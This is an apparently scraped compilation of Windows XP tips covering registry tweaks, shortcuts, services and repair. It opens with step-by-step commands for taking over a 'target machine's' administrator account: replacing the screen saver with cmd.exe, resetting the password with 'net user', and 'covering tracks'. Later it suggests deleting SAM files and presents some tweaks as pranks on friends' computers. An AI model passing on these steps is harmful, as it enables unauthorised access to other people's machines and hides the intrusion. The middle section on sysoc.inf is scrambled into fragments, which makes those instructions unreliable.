WINDOWS TIPS COLLECTION How to hack windows XP admin password If you log into a limited account on your target

machine and open up a dos promp t then enter this set of commands Exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah ente r this "net user Frank blah" and this changes the password on franks machine to blah and your in. Have fun p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking Display legal notice on startup: Wanna tell your friends about the do's and dont's in your computer when they log in in your absence. Well you can do it pretty easily by displaying a legal notic e at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" Automatic Administrator Login: Well here's the trick which you can use to prove that Windows XP is not at all s ecure as multi-user operating system. Hacking the system registry from any accou nt having access to system registry puts you in to the administrator account. REGEDIT 4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "AutoAdminLogon"="1"

fxsocm.7 iis=iis.inf. The key you need to change is located in HK EY_CURRENT_USERControl PanelDesktop. You can see the word 'hide' highlighted ..IndexSrv. Remember.dll.dll.fp40ext.iis.7 RootAutoUpdate=ocgen.4 WBEM=ocgen.dll.. if you hate CD autoplay like I d o and want to permanently disable it.. Fix this up by simply del eting the word 'hide' like so: .dll.inf.OcEntry.hide..the program entry called 'msmsgs'.hide.dll. You should see a section of the file something like this: [Components] NtComponents=ntoc.rootau.dll..inf. you will have to re-boot yo ur computer for this tweak to take effect.inf.msmqocm.7 TerminalServer=TsOc. just open the file X:\Windows\inf\sysoc.this is the string which tells Windows not to display the component in the Add/Remove Programs list. Increasing options in add/remove programs: Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough.dll.7 fp_extensions=fp40ext.NetOcSetupProc.dll..inf.setupqry. GPEDIT.inf. but if you go to Add/Remove Programs in the Control Panel. For example...inf.MSC And Autoplay A great tweaking file that comes with XP is gpedit. Just hack it down !!! Regedit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1" Menu Delays: Another minor and easy tweak to remove any delay from menus sliding out.No Shutdown: Wanna play with your friends by removing the shutdown option from start menu in their computer.msc. I've taken the example of MSN Messenger . and it comes in handy often.hide.dll.inf.OcEntry.7 dtc=msdtcstp.cpl. The actual key is called MenuShowDelay .dll.msmsgs. though. This is effectively the Policies Ed itor.dtcnt5.7 Fax=fxsocm.inf..comnt5...inf.inf..dll.OcEntry.ieaccess.msc.dll. In here you can see the value 'Turn Off Autoplay'.7 IEAccess=ocgen. third-last line..7 This is a list of all components installed at the moment. TsOc. Go to Start -> Run. Right-click on it and the n click 'Properties'.dll.msc' and press enter.OcEntry.wbemoc.inf. then go to Computer Configuration -> Administrative Templates -> Syst em.FrontPage4Extensions. then t yping 'regedit' and pressing enter). HydraOc.hide.OcEntry. by default n one of Windows XP's 'built in' programs are visible. Just run g pedit.inf.al l you have to do is change the value to 0.OcEntry.7 com=comsetup.OcEntry..inf.NtOcSetupProc.OcEntry.hide.. an d then type in 'gpedit. you can use this tool to do so.inf..inf (where X: is the drive le tter where Windows XP is installed) in Notepad.7 Display=desk.ims.6 ims=imsinsnt.DisplayOcSetupProc.7 NetOC=netoc.OcEntry.2 msmq=msmqocm.FaxOcmSetupProc.hide.au.7 AutoUpdate=ocgen.dll.dll..dll.. it's fairly easy to change.netoc. For thi s you will need to use regedit (open regedit by going to Start -> Run.7 msmsgs=msgrocm.MsmqOcm.7 IndexSrv_System = setupqry.

it's fairly easy to disable this pr ocess. there sho uld be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}.dll. Aspi to see MSN Messenger in the Add/Remove quickly view and remove all components global find and replace for the word " ". I was always smashing my head against the table waiting to view shares on other computers.OcEntry. This would save you only one keystroke from the normal comman d. an d after a restart. you get message boxes telling you that a program is still running? Making it so that Windows automatically ki lls applications running is a snap.7 Now. but one that can add up to 30 seconds of waiti ng on the other end . To create a shortcut on your desktop to loc k your computer: Right-click the desktop. which performs a number of services. Speeding Up Share Viewing: This is a great tweak.LockWorkStation Click Next. You c an call it "Lock Workstation" or choose any name you like. Select one of the icons from the list and then click OK You could also give it a shortcut keystrok e such CTRL+ALT+L.hide.a fairly useless task.msmsgs. the Favorites menu in IE 6 seems to slow down dramatically some times--I've noticed this happens when you install Tweak UI 1. you should be able Programs list. Basically. Just delete this. type: Shell32. Click the Shortcut tab.. Point to New. but it could be more convenient. But here's a fix for the problem that does work.dll. after restarting.inf file and do a . This command lin e runs the System File Checker.not good! Fortunately. To change the icon: Right click the shortcut and then select Propert ies.inf.7 To this: msmsgs=msgrocm.hide" and replace it with a single comma Automatically Kill Programs At Shutdown: don't you hate it when.". Windows will no longer check for scheduled tasks . an d when you use the preview tip to speed up the Start menu.dll.msmsgs. then hit ENTER. But there you go: It works. type the following: rundll32 . You can also change the shortcut's icon (my personal favorite is the padlock icon in sh ell32. Before I found it. and then click Shortcut. If you want to be able to . First. Below that. when you connect to another computer with Windows XP.msmsgs=msgrocm. then alter the key AutoEndTasks to t he value 1.exe user32. Speed up Internet Explorer 6 Favorites For some reason. Click OK. . navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Simply navigate to the HKEY_CURRENT_USERCont rol PanelDesktop directory in the Registry. though it's unclear why: Just open a command line wi ndow (Start button -> Run -> cmd) and type sfc.OcEntry. for example. Click Finish. and then click the Change Icon button. In the Look for icons in this file text box.dll. while trying to shut down. The Create Shortcut Wizard opens.mucho perf ormance improvement! Create a Shortcut to Lock Your Computer Leaving your computer in a hurry but you don t want to log off? You can double-cli ck a shortcut on your desktop to quickly lock the keyboard and display without u sing CTRL+ALT+DEL or a screen saver. Enter a name for the shortcut. In the text box.inf. it checks for any Scheduled tasks on that computer . all of whic h are completely unrelated to IE 6.dll). simply open the sysoc.33.

after the reboot you can install any of the currently working CD recording applications with no problems. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". * Hold down CTRL while dragging an item to Copy it. Next install the sta ndard Aspi layer for NT. Useful key shortcuts available: * Windows key + D . * Windows key + U Open Utility Manager.shows Search window. * ALT + ENTER View the properties for the selected item. * Windows key + R . 15 Top Windows XP secrets : 1. * Windows key + E . you can manually edit (using notepad for example) the sysoc. On this tab uncheck ALL of the boxes. T hen type ipv6 /? to see the options.WinXP does not come with an Aspi layer. you can enable it by typing regsvr32 zi . 5.inf file located in Windows\inf\. Note . * Windows key + M . Open up "My co mputer" and right click on the CD Recorder. * Windows key + PAUSE Display the System Properties dialog box.shows the RUN dialog.dll at the command prompt or Run dialog. Edit sysoc.inf to list all software : To show all software that can be removed from your computer (including pro tected Windows services). you can insta ll the protocols needed with the command "ipv6 install" in the command-prompt. Windows XP comes with IPv4 and IPv6 : Windows XP comes both IPv4 and IPv6 support. apply or OK out of it and close my computer. 2. To enable IPv6. Reboot when asked.use this at your own risk. * Windows key + Shift + M . The installation will not remove the IPv4 p rotocols so your current configuration will still work.maximizes all open windows. 3. Stop treating ZIP files like Folders : If you don't want your Windows XP to treat ZIP files like folders. * CTRL + ESC Display the Start menu. you can disable this component by running regsvr32 /u zipfldr. After installing WinXP. * ALT + TAB . So far almost 90% of the problems with W inXP and CD burning software are Aspi layer problems. Access Task Manager with shortcut : To access the Task Manager easier. The Windows key + L is also a shortcut to this feature. If you start missing it. * Windows key + F .Runs Windows Explorer.minimizes all open windows. 4. be fore installing any CD burning software do a few things first: 1. 6. * F4 key Display the Address bar list in My Computer or * NUM LOCK + Asterisk (*) Display all of the subfolders that are under the selected folder. LockWorkStation.exeuser32.exe. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released. Removing critical components of the syst em will make Windows instable. * Windows key + TAB .shows System Properties box.Go through taskbar applications. * Windows key + Break .Cycle through opened applications. 2. you can make a shortcut that points to %windir%\system32\taskmgr.dll. Just remove the word hide next to the so ftware pack. That's is. Lock Windows to protect computer : You can lock Windows to protect the computer when leaving the station easi ly by creating a shortcut with the path rundll32.shows the desktop.

Right click an application and select Run As command. 8. Go to a command prompt a nd run the command tasklist to see running processes with PID numbers. Edit features with GPEDIT. Go to Task Manager . This will end only your session and not all applications. You can add log on/log o ff scripts here and many features.exe to see System Information : You can use the systeminfo. 9. 7. Task kill feature in Windows : Windows has a task kill feature similar to Linux.processes and end the process explorer. with all your previously applications running. cl ick New task and type runas /user:domainname\username explorer. Use systeminfo.exe. To access the interface that permits you to make changes to system's services . Select them all. Switch users leaving applications opened : You can switch users leaving the applications opened too (*NOTE* use this only when needed since it could lead to system instability). * Application Management * Automatic Updates * Background Intelligent Transfer * Clipbook * Distributed Link Tracking Client * Distributed Transaction Coordinater * Error Reporting Service * Fast User Switching Compatibility * IMAPI CD-Burning * Indexing Service * IPSEC Services * Messenger * Net Logon * Net Meeting * Remote Desktop Sharing * Network DDE * Network DDE DSDM * Portable Media Serial Number * Remote Desktop Help Session Manager * Remote Registry .dll. 13. type services. right click and select Rename.exe command in the command prompt to see System Information. Edit accounts in the command prompt : You can edit accounts by running "control userpasswords2" at the command p rompt. Disable system services for maximum performance : There are system services that you can disable to free up the system's loa d. The user's session will star t.exe. with a number in brackets to distinguish them. Then go to Applications tab. Then type tskill <PID> to end the specific task. They will be renamed using what you spec ified. A password p rompt will appear to login to the desired username. Run program as diffrent user : You can run a program as a different user. 12. 10.pfldr. including all Windows updates and hotfixes. * Alerter * Application Layer Gateway Service.MSC : You can edit many features by running gpedit. 14. 11. Enter the desired name. I recommend to open first a command-line prompt and type runas /? to see a ll the options available.msc. Rename multiple files in Windows at once : Rename multiple files in Windows at once.msc and the command prompt. This forces an instant closing of the ta sk. This is a list of services that are *usually* useless and can be safely di sabled.

delete the SAM.ini or any other critical system boot files you can repair this by using the XP installation CD. go back and enable it again..LOg files ( in sytem32/config f older ).SAV. . Repair Windows XP by using the XP installation CD: If your system failes to start due to an error related to missing HAL.* Secondary Logon * Smartcard * SSDP Discovery Service * Uninterruptible Power Supply * Universal Plug and Play Device Host * Upload Manager * Webclient * Wireless Zero Configuration * WMI Performance Adaptor NOTE: Make sure you don't need them since some applications you're using c ould depend on them. Run "Bootcfg /Rebuild" and then Fixboot.exe.ini file and delete i t.DLL. SAM. Another way . SAM. invalid Boot.. Then run "attrib -H -R -S" on the C:\Boot. 15. Note: don't delete SAM. Simply boot from your XP Setup CD and enter the R ecovery Console. Boot from win98 cd. If you make any application to fail by disabling any of the services.

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